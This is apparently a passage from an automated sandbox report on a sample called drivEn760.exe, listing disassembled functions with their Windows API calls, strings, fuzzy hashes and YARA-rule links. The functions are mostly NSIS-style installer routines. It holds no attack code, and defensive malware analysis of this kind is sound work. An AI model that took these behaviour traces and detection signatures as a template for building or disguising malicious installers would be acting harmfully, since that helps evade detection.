Function 00405031 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00405049
GetDlgItem.USER32(?,00000408), ref: 00405054
GlobalAlloc.KERNEL32(00000040,?), ref: 0040509E
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 004050B5
SetWindowLongW.USER32(?,000000FC,0040563E), ref: 004050CE
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004050E2
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004050F4
SendMessageW.USER32(?,00001109,00000002), ref: 0040510A
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405116
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405128
DeleteObject.GDI32(00000000), ref: 0040512B
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405156
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405162
SendMessageW.USER32(?,00001132,00000000,?), ref: 004051FD
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040522D

Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405241
GetWindowLongW.USER32(?,000000F0), ref: 0040526F
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040527D
ShowWindow.USER32(?,00000005), ref: 0040528D
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405388
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004053ED
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405402
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405426
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405446
ImageList_Destroy.COMCTL32(?), ref: 0040545B
GlobalFree.KERNEL32(?), ref: 0040546B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004054E4
SendMessageW.USER32(?,00001102,?,?), ref: 0040558D
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040559C
InvalidateRect.USER32(?,00000000,00000001), ref: 004055C7
ShowWindow.USER32(?,00000000), ref: 00405615
GetDlgItem.USER32(?,000003FE), ref: 00405620
ShowWindow.USER32(00000000), ref: 00405627

Strings

M, xrefs: 004051E5
N, xrefs: 004052C6
, xrefs: 004055FF

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 65f364cc419e4f6509e273f8c6de49045313dc9a9457de29721d4364d1471109
Instruction ID: a1eb65f7683e17450fca8d4cb4c1055b074660be5b1b810df034ff690b7f681c
Opcode Fuzzy Hash: 65f364cc419e4f6509e273f8c6de49045313dc9a9457de29721d4364d1471109
Instruction Fuzzy Hash: 2A025CB0900609EFDF20DF65CD45AAE7BB5FB44315F10817AEA10BA2E1D7798A52CF18

Function 004062AE Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406449,?,?), ref: 004062E9
GetShortPathNameW.KERNEL32(?,00426DE8,00000400), ref: 004062F2

Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

GetShortPathNameW.KERNEL32(?,004275E8,00000400), ref: 0040630F
wsprintfA.USER32 ref: 0040632D
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406368
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406377
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063AF
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 00406405
GlobalFree.KERNEL32(00000000), ref: 00406416
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040641D

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\AppData\Local\Temp\drivEn760.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Strings

%ls=%ls, xrefs: 00406323
uB, xrefs: 00406304
uB, xrefs: 0040630B
mB, xrefs: 004062D7
[Rename], xrefs: 00406397, 004063A9

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$mB$uB$uB
API String ID: 2171350718-2295842750
Opcode ID: 1c644fdb5bf5358e971e1e57754d6873d4af67f600c8cbf5706e979a92214bad
Instruction ID: df9b4e9fb9d32bd4c250032a1d399944af7a2e4c2f0bdec2b7d3959d12e60cc8
Opcode Fuzzy Hash: 1c644fdb5bf5358e971e1e57754d6873d4af67f600c8cbf5706e979a92214bad
Instruction Fuzzy Hash: B8314331200315BBD2206B619D49F5B3AACEF85704F16003BFD02FA2C2EA7DD82186BD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction ID: e2f9fea5dfd6f059ba8eeb08e8d10ac227d01a2162b8a260283931f50cd0bfbf
Opcode Fuzzy Hash: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction Fuzzy Hash: 33418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7349A55DFA4

Function 0040462B Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404648
GetSysColor.USER32(00000000), ref: 00404686
SetTextColor.GDI32(?,00000000), ref: 00404692
SetBkMode.GDI32(?,?), ref: 0040469E
GetSysColor.USER32(?), ref: 004046B1
SetBkColor.GDI32(?,?), ref: 004046C1
DeleteObject.GDI32(?), ref: 004046DB
CreateBrushIndirect.GDI32(?), ref: 004046E5

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: e78b8cc9c8042372c9a7340b9b8aa9b23ded286a9f8ddc7240a2e2d8bd1f46c0
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: DE2197715007049FC7309F28D908B5BBBF8AF42714F008D2EE992A22E1D739D944DB58

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 00406239: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040624F

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction ID: 581cf2785626502de532f206a1de9da9d9b8d20bcd24121b7f7bd1133decb9a2
Opcode Fuzzy Hash: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction Fuzzy Hash: CE51FB75D00219AADF20EF95CA88AAEBB75FF04304F50417BE541B62D4D7B49D82CB58

Function 004068EF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,75923420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
CharNextW.USER32(?,00000000,75923420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979

Strings

*?|<>/":, xrefs: 00406941
C:\Users\user\AppData\Local\Temp\, xrefs: 004068F0

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1201062745
Opcode ID: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction ID: d28fb8c2eefe6f61a155ceb01790bbf8b21f4710aa7989e54d8eeb8481a577c9
Opcode Fuzzy Hash: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction Fuzzy Hash: 2611089580061295DB303B18CC40BB762F8AF99B50F12403FE98A776C1E77C4C9286BD

Function 0040302E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00403049
GetTickCount.KERNEL32 ref: 00403067
wsprintfW.USER32 ref: 00403095

Part of subcall function 004056CA: lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,004030A8,004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

CreateDialogParamW.USER32(0000006F,00000000,00402F93,00000000), ref: 004030B9
ShowWindow.USER32(00000000,00000005), ref: 004030C7

Part of subcall function 00403012: MulDiv.KERNEL32(0000BD48,00000064,0000DF35), ref: 00403027

Strings

... %d%%, xrefs: 0040308F

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: eb5829c7fffbc7bf65dde30d15e1f0a96a9438333430517d581b7dc81546266b
Instruction ID: 5af6bf9b0b70cf9307c1258d0e5a667b07be53d22b58a3258066d7aee54b172b
Opcode Fuzzy Hash: eb5829c7fffbc7bf65dde30d15e1f0a96a9438333430517d581b7dc81546266b
Instruction Fuzzy Hash: E8018E70553614DBC7317F60AE08A5A3EACAB00F06F54457AF841B21E9DAB84645CBAE

Function 00404F7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404F9A
GetMessagePos.USER32 ref: 00404FA2
ScreenToClient.USER32(?,?), ref: 00404FBC
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404FCE
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404FF4

Strings

f, xrefs: 00404FD0

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: ce4c7d6d39dceca23aa6ebdb29af7737867007859e7bede0b388bd4d525dd41f
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 3C014C71940219BADB00DBA4DD85BFEBBB8AF54711F10012BBB50B61C0D6B49A058BA5

Function 00401E4E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84

Part of subcall function 004066A5: lstrcatW.KERNEL32(Delete on reboot: ,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32(Delete on reboot: ,00000000,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,?,00405701,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000), ref: 004068A4

CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Strings

MS Shell Dlg, xrefs: 00401EB9

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID: MS Shell Dlg
API String ID: 2584051700-76309092
Opcode ID: 63458547509aebe2100064373ea1b811f2439a01b7a170ad2fb3bd0ca2265276
Instruction ID: b9cc094806d22c325402cb6ccb5f5134c2025175c414775df3ff87de861ccae2
Opcode Fuzzy Hash: 63458547509aebe2100064373ea1b811f2439a01b7a170ad2fb3bd0ca2265276
Instruction Fuzzy Hash: 8401B571900241EFEB005BB4EE89A9A3FB0AB15301F208939F541B71D2C6B904459BED

Function 00402F93 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
wsprintfW.USER32 ref: 00402FE5
SetWindowTextW.USER32(?,?), ref: 00402FF5
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403007

Strings

verifying installer: %d%%, xrefs: 00402FDA
unpacking data: %d%%, xrefs: 00402FD3, 00402FE3

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
